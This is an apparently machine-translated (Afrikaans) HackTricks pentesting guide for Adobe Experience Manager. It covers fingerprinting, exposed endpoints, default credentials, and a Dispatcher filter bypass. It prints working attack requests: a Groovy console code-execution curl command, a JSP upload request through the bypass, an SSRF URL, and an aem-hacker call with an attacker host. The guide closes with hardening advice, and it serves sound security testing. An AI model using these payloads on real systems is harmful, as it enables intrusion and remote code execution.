AEM (Adobe Experience Manager) Pentesting

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Adobe Experience Manager (AEM, deel van die Adobe Experience Cloud) is 'n ondernemings CMS wat bo-op Apache Sling/Felix (OSGi) en 'n Java Content Repository (JCR) loop. Vanuit 'n aanvaller se perspektief stel AEM-instansies baie dikwels gevaarlike ontwikkelings eindpunte, swak Dispatcher-reƫls, standaard akrediteer en 'n lang stert van CVE's bloot wat elke kwartaal reggestel word.

Die kontrolelys hieronder fokus op extern bereikbare (unauth) aanval oppervlak wat voortdurend in werklike betrokkenhede verskyn (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Ander vinnige aanwysers:

  • /etc.clientlibs/ statiese pad teenwoordig (gee JS/CSS terug).
  • /libs/granite/core/content/login.html aanmeldblad met die ā€œAdobe Experience Managerā€ banier.
  • </script><!--/* CQ */--> kommentaar aan die onderkant van HTML.

2. Hoƫ-waarde nie-geoutentiseerde eindpunte

PadWat jy kryAantekeninge
/.json, /.1.jsonJCR knope via DefaultGetServletDikwels geblokkeer, maar Dispatcher omseiling (sien hieronder) werk.
/bin/querybuilder.json?path=/QueryBuilder APILek van bladboom, interne pades, gebruikersname.
/system/console/status-*, /system/console/bundlesOSGi/Felix konsole403 per standaard; as blootgestel & akrediteer gevind ⇒ bundel-oplaai RCE.
/crx/packmgr/index.jspPakketbestuurderLaat geoutentiseerde inhoudspakkette toe → JSP payload oplaai.
/etc/groovyconsole/**AEM Groovy KonsoleAs blootgestel → arbitrĆŖre Groovy / Java uitvoering.
/libs/cq/AuditlogSearchServlet.jsonOudit logsInligtingsontsluiting.
/libs/cq/ui/content/dumplibs.htmlClientLibs dumpXSS-vak.

Dispatcher omseiling truuk

Meeste produksie-webwerwe sit agter die Dispatcher (omgekeerde proxy). Sy filterreƫls kan omseil word deur 'n toegelate statiese uitbreiding na 'n puntkomma of geƫnkodeerde nuwe lyn by te voeg:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

'n Enkele versoek soos hierbo openbaar dikwels gebruikersprofielknope met e-posadresse. P-T Partners het goeie leiding oor hierdie swakheid gepubliseer. 怐怑


3. Algemene miskonfigurasies (nog steeds lewendig in 2025)

  1. Anonieme POST servlet – POST /.json met :operation=import laat jou toe om nuwe JCR knope te plant. Om *.json POST in die Dispatcher te blokkeer, los dit op. 怐怑
  2. WĆŖreldleesbare gebruikersprofiele – standaard ACL verleen jcr:read op /home/users/**/profile/* aan almal.
  3. Standaard akrediteer – admin:admin, author:author, replication:replication.
  4. WCMDebugFilter geaktiveer ⇒ weerspieĆ«lde XSS via ?debug=layout (CVE-2016-7882, steeds gevind op erfenis 6.4 installasies).
  5. Groovy Console blootgestel – afstandkode-uitvoering deur 'n Groovy-skrip te stuur:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Onlangse kwesbaarhede (dienspakket kadens)

KwartaalCVEAangetasImpak
Des 2024CVE-2024-437116.5.21 en vroeĆ«rOnbehoorlike invoervalidasie → Arbitraire kode-uitvoering (vereis lae-priv akker). 怐怑
Des 2024CVE-2024-43724/266.5.21 en vroeĆ«rDOM / Gestoor XSS in Move Page Wizard. 怐怑
Des 2023CVE-2023-48452/68≤ 6.5.18DOM-gebaseerde XSS via vervaardigde URL. 怐怑
Des 2022CVE-2022-30683≤ 6.5.13Crypto ontwerpfout → geheime ontsleuteling (benodig lae-priv akrediteer). 怐怑

Kontroleer altyd die APSB bulletin wat ooreenstem met die kliƫnt se dienspakket en vra die nuutste 6.5.22 of Cloud Service 2024.11.


5. Exploitasiestukke

5.1 RCE via dispatcher omseiling + JSP opgelaai

As anonieme skryf moontlik is:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Now request /content/evil.jsp – die JSP loop met die AEM proses gebruiker.

5.2 SSRF na RCE (histories < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py van aem-hacker outomatiseer die volle ketting. 怐怑


6. Gereedskap

  • aem-hacker – Switserse leĆ«r enumerasie skrip, ondersteun dispatcher omseiling, SSRF opsporing, standaard-kredens kontrole en meer.
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • Inhoud Brute-force – herhalend versoek /_jcr_content.(json|html) om verborge komponente te ontdek.
  • osgi-infect – laai kwaadwillige OSGi bundel op via /system/console/bundles as kredens beskikbaar is.

7. Versterking kontrolelys (vir jou verslag se aanbevelings)

  1. Hou die instansie op die nuutste kumulatiewe dienspakket (soos van Jul 2025: 6.5.22).
  2. Verwyder/roteer standaard rekeninge; afdwing SSO/SAML.
  3. Versterk Dispatcher filters – weier ;, geĆ«nkodeerde nuwe reĆ«ls, en *.json of *.querybuilder.json vir anonieme gebruikers.
  4. Deaktiveer of beskerm consoles (/system/console, /crx/*, /etc/groovyconsole) met IP toelaat-lists.
  5. Pas die Anonieme Toestemming Versterking pakket toe wat deur Adobe gestuur is.

Verwysings

  • Adobe Security Bulletin APSB24-69 – ā€œVeiligheidsopdaterings vir Adobe Experience Manager (Des 2024)ā€.
  • 0ang3el – aem-hacker hulpmiddel (GitHub).

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks